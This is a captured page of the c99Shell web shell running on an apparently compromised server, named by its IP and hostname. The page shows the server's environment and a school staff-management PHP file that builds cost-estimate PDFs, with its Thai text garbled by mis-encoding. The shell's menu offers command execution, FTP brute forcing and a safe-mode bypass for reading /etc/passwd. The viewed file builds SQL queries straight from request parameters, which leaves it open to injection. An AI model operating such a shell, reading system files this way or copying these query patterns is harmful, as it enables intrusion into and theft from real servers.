110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/teacher/ drwxr-xr-x Free 52.62 GB of 127.8 GB (41.17%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686

uid=48(apache) gid=48(apache) groups=48(apache)

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/ drwxr-xr-x
Free 52.62 GB of 127.8 GB (41.17%)
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Viewing file: FormCostestimatesPDF.php (15.44 KB) -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

execQuery($query);
$rss5 = $dbObj->fetchArray($result5);	
		
$query3 = "Select * From  college Where collegeStatus ='1'";
$result3 = $dbObj->execQuery($query3);
$rs3 = $dbObj->fetchArray($result3);

$query6 = " SELECT * FROM  personal_tb AS pe  LEFT JOIN formaoffice AS fm ON pe.Teacher_code=fm.Teacher_code  LEFT JOIN formaoffice AS fo ON fm.codeId=fo.codeId  WHERE fm.maNo = '".$_REQUEST["maNo"]."' and fm.Flag = '".$_REQUEST["Flag"]."'  ";
$result6 = $dbObj->execQuery($query6); 
$num_rows = mysql_num_rows($result6);

$query10 = " SELECT * FROM  personal_tb AS pe  LEFT JOIN formaoffice AS fm ON pe.Teacher_code=fm.Teacher_code  LEFT JOIN formaoffice AS fo ON fm.codeId=fo.codeId  WHERE fm.maNo = '".$_REQUEST["maNo"]."' and fm.Flag = '".$_REQUEST["Flag"]."'  ";
$result10 = $dbObj->execQuery($query10); 
$num_rows10 = mysql_num_rows($result10);

$query11 = " SELECT * FROM  personal_tb AS pe  LEFT JOIN formaoffice AS fm ON pe.Teacher_code=fm.Teacher_code  LEFT JOIN formaoffice AS fo ON fm.codeId=fo.codeId  WHERE fm.maNo = '".$_REQUEST["maNo"]."' and fm.Flag = '".$_REQUEST["Flag"]."' ";
$result11 = $dbObj->execQuery($query11); 
$num_rows11 = mysql_num_rows($result11);

function readNumber($number, $len) {
	if($number=='0') { $number = ""; }
	else if($number=='1') {
		if($len==2) { $number = ""; }
		else { $number = "Л№Ци§"; }
	}
	else if($number=='2') { 
		if($len==2) { $number = "ВХи"; }
		else { $number = "КН§"; }
	}
	else if($number=='3') { $number = "КТБ"; }
	else if($number=='4') { $number = "КХи"; }
	else if($number=='5') { $number = "ЛйТ"; }
	else if($number=='6') { $number = "ЛЎ"; }
	else if($number=='7') { $number = "аЁзґ"; }
	else if($number=='8') { $number = "б»ґ"; }
	else if($number=='9') { $number = "аЎйТ"; }
	return $number;
}

function readUnit($len) {
	if($len=='1') { $len = ""; }
	else if($len=='2') { $len = "КФє"; }
	else if($len=='3') { $len = "ГйНВ"; }
	else if($len=='4') { $len = "ѕС№"; }
	else if($len=='5') { $len = "ЛБЧи№"; }
	else if($len=='6') { $len = "бК№"; }
	else if($len=='7') { $len = "ЕйТ№"; }
	return $len;
}

function convertNumberToString($amount) {
	list($baht, $satang) = split('[.]', $amount);
	while(strlen($satang) < 2)
		$satang .= '0';
		
	$str = "";
	$len = strlen($baht);
	$i = 0;
	while($i <= strlen($baht)) {
		if($len==1 && $baht[$i-1]!=0 && $baht[$i]==1)
			$str .= "аНзґ";
		else
			$str .= readNumber($baht[$i], $len);
		if($baht[$i] != 0)
			$str .= readUnit($len);
		$len--;
		$i++;
	}
	if($str != "")
		$str .= "єТ·";
	
	$len = strlen($satang);
	$i = 0;
	while($i <= strlen($satang)) {
		if($len==1 && $satang[$i-1]!=0 && $satang[$i]==1)
			$str .= "аНзґ";
		else
			$str .= readNumber($satang[$i], $len);
		if($satang[$i] != 0)
			$str .= readUnit($len);
		$len--;
		$i++;
	}
	if($satang != '00')
		$str .= "КµТ§¤м";
	return $str;
}
//----------------------------------------

function getMonthTh($mm) {
	if($mm=='01') { $mm='БЎГТ¤Б'; }
	else if($mm=='02') { $mm='ЎШБАТѕС№ём'; }
	else if($mm=='03') { $mm='БХ№Т¤Б'; }
	else if($mm=='04') { $mm='аБЙТВ№'; }
	else if($mm=='05') { $mm='ѕДЙАТ¤Б';}
	else if($mm=='06') { $mm='БФ¶Ш№ТВ№'; }
	else if($mm=='07') { $mm='ЎГЎ®Т¤Б'; }
	else if($mm=='08') { $mm='КФ§ЛТ¤Б'; }
	else if($mm=='09') { $mm='ЎС№ВТВ№'; }
	else if($mm=='10') { $mm='µШЕТ¤Б';}
	else if($mm=='11') { $mm='ѕДИЁФЎТВ№';}
	else if($mm=='12') { $mm='ёС№ЗТ¤Б'; }

	return "$mm";
}

function getShortMonthTh($mm) {
	if($mm=='01') { $mm='Б.¤.'; }
	else if($mm=='02') { $mm='Ў.ѕ.'; }
	else if($mm=='03') { $mm='БХ.¤.'; }
	else if($mm=='04') { $mm='аБ.В.'; }
	else if($mm=='05') { $mm='ѕ.¤.';}
	else if($mm=='06') { $mm='БФ.В.'; }
	else if($mm=='07') { $mm='Ў.¤.'; }
	else if($mm=='08') { $mm='К.¤.'; }
	else if($mm=='09') { $mm='Ў.В.'; }
	else if($mm=='10') { $mm='µ.¤.';}
	else if($mm=='11') { $mm='ѕ.В.';}
	else if($mm=='12') { $mm='ё.¤.'; }

	return "$mm";
}

//Create new pdf file
$pdf = new FPDF('L' , 'mm' , 'A4');

//Set thai font
$pdf->SetThaiFont();

$pdf->AddPage();

//-- Load Form Image to Background
$pdf->Image('../form/FormCostestimates.jpg', 0, 0, 297, 210);

//-- Set Font
$pdf->SetFont('AngsanaNew','',15);

//-- КиЗ№ГТЄЎТГ
$pdf->Text(110,30,$rs3['collegeName']);

//-- Set Font
$pdf->SetFont('AngsanaNew','',15);

//-- аєФЎ¤иТгЄйЁиТВўН§ - ЄЧиН №ТБКЎШЕ НТЁТГВм
$Teacher_code =  $Flag ;
$sql = "Select * From $myTable1  LEFT JOIN prefix ON $myTable1.First_name = prefix.prefixId Where Teacher_code ='$Teacher_code'  ";
 $result8 = mysql_query($sql) or die("Error".mysql_error());
$rs8 = mysql_fetch_array($result8);
$pdf->SetXY(100,33);
$pdf->Cell(73,5,$rs8['prefixName'].'  '.$rs8['Teacher_name'].'  '.$rs8['Teacher_lastname'].' бЕР¤іР',0,0,'C');

// Е§ЗС№·Хи
$date = explode("-",$rss5['Date_start']);
$day = intval($date[2]);
$month = getMonthTh(intval($date[1]));
$year = intval($date[0]);
if(!empty($day)){
	$pdf->SetXY(190.5,33);
	$pdf->Cell(9,5,$day,0,0,'C');
	$pdf->SetXY(210,33);
	$pdf->Cell(23.5,5,$month,0,0,'C');
	$pdf->SetXY(247,33);
	$pdf->Cell(12,5,$year,0,0,'C');
}
else{
	$pdf->SetXY(190.5,33);
	$pdf->Cell(9,5,'-',0,0,'C');
	$pdf->SetXY(210,33);
	$pdf->Cell(23.5,5,'-',0,0,'C');
	$pdf->SetXY(247,33);
	$pdf->Cell(12,5,'-',0,0,'C');
}

$pdf->SetFont('AngsanaNew','',13);
//-- ¤НЕСБ№м ЄЧиН - №ТБКЎШЕ
if($num_rows){
	$i = 1;
	while($data = $dbObj->fetchObject($result6)){
		$query7 = "Select * From $myTable1  LEFT JOIN prefix ON $myTable1.First_name = prefix.prefixId  Where Teacher_code='".$data->Teacher_code."' ";
		$result7 = $dbObj->execQuery($query7);
		$rs7 = $dbObj->fetchArray($result7);
		
		switch($i){							
			case "1" : $pdf->Text(33,60.5,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "2" : $pdf->Text(33,67.5,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "3" : $pdf->Text(33,75.7,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "4" : $pdf->Text(33,83,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "5" : $pdf->Text(33,90,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "6" : $pdf->Text(33,96.5,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "7" : $pdf->Text(33,104,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "8" : $pdf->Text(33,111,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "9" : $pdf->Text(33,118,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "10" : $pdf->Text(33,125,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "11" : $pdf->Text(33,132.5,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
			case "12" : $pdf->Text(33,139.3,$rs7['prefixName'].'  '.$rs7['Teacher_name'].'  '.$rs7['Teacher_lastname']); break;
		}		
		$i++;
	}	
}		
if($num_rows10){
	$j = 1;
	while($data1 = $dbObj->fetchObject($result10)){
		$query9 = " Select * From personal_tb  LEFT JOIN position_tb ON personal_tb.PositionId = position_tb.PositionId  WHERE Teacher_code='".$data1->Teacher_code."' ";
		$result9 = $dbObj->execQuery($query9);
		$rs9 = $dbObj->fetchArray($result9);
			
		switch($j){							
			case "1" : $pdf->Text(80,60.5,$rs9['Position_name']); break;
			case "2" : $pdf->Text(80,67.5,$rs9['Position_name']); break;
			case "3" : $pdf->Text(80,75.7,$rs9['Position_name']); break;
			case "4" : $pdf->Text(80,83,$rs9['Position_name']); break;
			case "5" : $pdf->Text(80,90,$rs9['Position_name']); break;
			case "6" : $pdf->Text(80,96.5,$rs9['Position_name']); break;
			case "7" : $pdf->Text(80,104,$rs9['Position_name']); break;
			case "8" : $pdf->Text(80,111,$rs9['Position_name']); break;
			case "9" : $pdf->Text(80,118,$rs9['Position_name']); break;
			case "10" : $pdf->Text(80,125,$rs9['Position_name']); break;
			case "11" : $pdf->Text(80,132.5,$rs9['Position_name']); break;
			case "12" : $pdf->Text(80,139.3,$rs9['Position_name']); break;		
		}		
		$j++;
	}	
}

if($num_rows11){
	$k = 1;
	while($data2 = $dbObj->fetchObject($result11)){
		$query12 = " SELECT * FROM form_costestimates fc LEFT JOIN formaoffice f ON fc.codeId=f.codeId  WHERE fc.Teacher_code='".$data2->Teacher_code."' and f.maNo = '".$data2->maNo."'  ";
		$result12 = $dbObj->execQuery($query12);
		$rs12 = $dbObj->fetchArray($result12);	
		$Total1 = $rs12['Smtotal']+$rs12['STtotal']+$rs12['Vehicletotal']+$rs12['Crgestotal'];
			
		switch($k){							
			case "1" : $pdf->Text(132,60.5,number_format($rs12['Smtotal'],2,'.',','));  $pdf->Text(155,60.5,number_format($rs12['STtotal'],2,'.',',')); $pdf->Text(177,60.5,number_format($rs12['Vehicletotal'],2,'.',',')); $pdf->Text(200,60.5,number_format($rs12['Crgestotal'],2,'.',',')); $pdf->Text(224,60.5,number_format($Total1,2,'.',',')); break;
			case "2" : $pdf->Text(132,67.5,number_format($rs12['Smtotal'],2,'.',','));   $pdf->Text(155,67.5,number_format($rs12['STtotal'],2,'.',',')); $pdf->Text(177,67.5,number_format($rs12['Vehicletotal'],2,'.',',')); $pdf->Text(200,67.5,number_format($rs12['Crgestotal'],2,'.',',')); $pdf->Text(224,67.5,number_format($Total1,2,'.',',')); break;
			case "3" : $pdf->Text(132,75.7,number_format($rs12['Smtotal'],2,'.',','));   $pdf->Text(155,75.7,number_format($rs12['STtotal'],2,'.',',')); $pdf->Text(177,75.7,number_format($rs12['Vehicletotal'],2,'.',',')); $pdf->Text(200,75.7,number_format($rs12['Crgestotal'],2,'.',',')); $pdf->Text(224,75.7,number_format($Total1,2,'.',',')); break;
			case "4" : $pdf->Text(132,83,number_format($rs12['Smtotal'],2,'.',','));  $pdf->Text(155,83,number_format($rs12['STtotal'],2,'.',',')); $pdf->Text(177,83,number_format($rs12['Vehicletotal'],2,'.',',')); $pdf->Text(200,83,number_format($rs12['Crgestotal'],2,'.',',')); $pdf->Text(224,83,number_format($Total1,2,'.',',')); break;
			case "5" : $pdf->Text(132,90,number_format($rs12['Smtotal'],2,'.',','));   $pdf->Text(155,90,number_format($rs12['STtotal'],2,'.',',')); $pdf->Text(177,90,number_format($rs12['Vehicletotal'],2,'.',',')); $pdf->Text(200,90,number_format($rs12['Crgestotal'],2,'.',',')); $pdf->Text(224,90,number_format($Total1,2,'.',',')); break;
			case "6" : $pdf->Text(132,96.5,number_format($rs12['Smtotal'],2,'.',','));   $pdf->Text(155,96.5,number_format($rs12['STtotal'],2,'.',',')); $pdf->Text(177,96.5,number_format($rs12['Vehicletotal'],2,'.',',')); $pdf->Text(200,96.5,number_format($rs12['Crgestotal'],2,'.',',')); $pdf->Text(224,96.5,number_format($Total1,2,'.',',')); break;
			case "7" : $pdf->Text(132,104,number_format($rs12['Smtotal'],2,'.',','));   $pdf->Text(155,104,number_format($rs12['STtotal'],2,'.',',')); $pdf->Text(177,104,number_format($rs12['Vehicletotal'],2,'.',',')); $pdf->Text(200,104,number_format($rs12['Crgestotal'],2,'.',',')); $pdf->Text(224,104,number_format($Total1,2,'.',',')); break;
			case "8" : $pdf->Text(132,111,number_format($rs12['Smtotal'],2,'.',','));   $pdf->Text(155,111,number_format($rs12['STtotal'],2,'.',',')); $pdf->Text(177,111,number_format($rs12['Vehicletotal'],2,'.',',')); $pdf->Text(200,111,number_format($rs12['Crgestotal'],2,'.',',')); $pdf->Text(224,111,number_format($Total1,2,'.',',')); break;
			case "9" : $pdf->Text(132,118,number_format($rs12['Smtotal'],2,'.',','));   $pdf->Text(155,118,number_format($rs12['STtotal'],2,'.',',')); $pdf->Text(177,118,number_format($rs12['Vehicletotal'],2,'.',',')); $pdf->Text(200,118,number_format($rs12['Crgestotal'],2,'.',',')); $pdf->Text(224,118,number_format($Total1,2,'.',',')); break;
			case "10" : $pdf->Text(132,125,number_format($rs12['Smtotal'],2,'.',','));   $pdf->Text(155,125,number_format($rs12['STtotal'],2,'.',',')); $pdf->Text(177,125,number_format($rs12['Vehicletotal'],2,'.',',')); $pdf->Text(200,125,number_format($rs12['Crgestotal'],2,'.',',')); $pdf->Text(224,125,number_format($Total1,2,'.',',')); break;
			case "11" : $pdf->Text(132,132.5,number_format($rs12['Smtotal'],2,'.',','));   $pdf->Text(155,132.5,number_format($rs12['STtotal'],2,'.',',')); $pdf->Text(177,132.5,number_format($rs12['Vehicletotal'],2,'.',',')); $pdf->Text(200,132.5,number_format($rs12['Crgestotal'],2,'.',',')); $pdf->Text(224,132.5,number_format($Total1,2,'.',',')); break;
			case "12" : $pdf->Text(132,139.3,number_format($rs12['Smtotal'],2,'.',','));   $pdf->Text(155,139.3,number_format($rs12['STtotal'],2,'.',',')); $pdf->Text(177,139.3,number_format($rs12['Vehicletotal'],2,'.',',')); $pdf->Text(200,139.3,number_format($rs12['Crgestotal'],2,'.',',')); $pdf->Text(224,139.3,number_format($Total1,2,'.',',')); break;
		}		
		$k++;
	}	
}
//-- ¤иТаєХйВаЕХйВ§       
$sql1 = " SELECT SUM(fc.Smtotal)  AS SumB1  FROM form_costestimates AS fc LEFT JOIN formaoffice AS f ON fc.codeId=f.codeId  WHERE  Flag='$Flag'   and  maNo='$maNo'  ";
$result1 = mysql_query($sql1);
$rss1 = mysql_fetch_array($result1);
if(!empty($rss1['SumB1'])){
	$pdf->SetXY(113.5,142.5);
	$pdf->Cell(45,5,number_format($rss1['SumB1'], 2, '.', ','),0,0,'C');
}
else{
	$pdf->SetXY(113.5,142.5);
	$pdf->Cell(45,5,'-',0,0,'C');
}
//-- ¤иТ·ХиѕСЎ
$sql2 = " SELECT SUM(fc.STtotal)  AS SumB2  FROM form_costestimates AS fc LEFT JOIN formaoffice AS f ON fc.codeId=f.codeId  WHERE  Flag='$Flag'   and  maNo='$maNo'  ";
$result2 = mysql_query($sql2);
$rss2 = mysql_fetch_array($result2);
if(!empty($rss2['SumB2'])){
	$pdf->SetXY(137,142.5);
	$pdf->Cell(45,5,number_format($rss2['SumB2'], 2, '.', ','),0,0,'C');
}
else{
	$pdf->SetXY(137,142.5);
	$pdf->Cell(45,5,'-',0,0,'C');
}
//-- ¤иТѕТЛ№Р       
$sql3 = " SELECT SUM(fc.Vehicletotal)  AS SumB3 FROM form_costestimates AS fc LEFT JOIN formaoffice AS f ON fc.codeId=f.codeId  WHERE  Flag='$Flag'   and  maNo='$maNo'  ";
$result3 = mysql_query($sql3);
$rss3 = mysql_fetch_array($result3);
if(!empty($rss3['SumB3'])){
	$pdf->SetXY(157,142.5);
	$pdf->Cell(45,5,number_format($rss3['SumB3'], 2, '.', ','),0,0,'C');
}
else{
	$pdf->SetXY(157,142.5);
	$pdf->Cell(45,5,'-',0,0,'C');
}
//-- ¤иТНЧи№ж
$sql4 = " SELECT SUM(fc.Crgestotal)  AS SumB4  FROM form_costestimates AS fc LEFT JOIN formaoffice AS f ON fc.codeId=f.codeId  WHERE  Flag='$Flag'   and  maNo='$maNo'  ";
$result4 = mysql_query($sql4);
$rss4 = mysql_fetch_array($result4);
if(!empty($rss4['SumB4'])){
	$pdf->SetXY(182,142.5);
	$pdf->Cell(45,5,number_format($rss4['SumB4'], 2, '.', ','),0,0,'C');
}
else{
	$pdf->SetXY(182,142.5);
	$pdf->Cell(45,5,'-',0,0,'C');
}

//  ЁУ№З№а§Ф№ГЗБ
$Total2 = $rss1['SumB1']+$rss2['SumB2']+$rss3['SumB3']+$rss4['SumB4'];
$pdf->Text(222.5,146.5,number_format($Total2 ,2,'.',','));

//  ЁУ№З№а§Ф№ (µСЗНСЎЙГ)
$SumB5 = convertNumberToString($Total2);
$pdf->Text(100,158,$SumB5."¶йЗ№" );

//Create file
$pdf->Output();
?>
bool(false)

:: Command execute ::
Enter:	Select:

:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:

:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

:: Go Dir ::

:: Go File ::

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--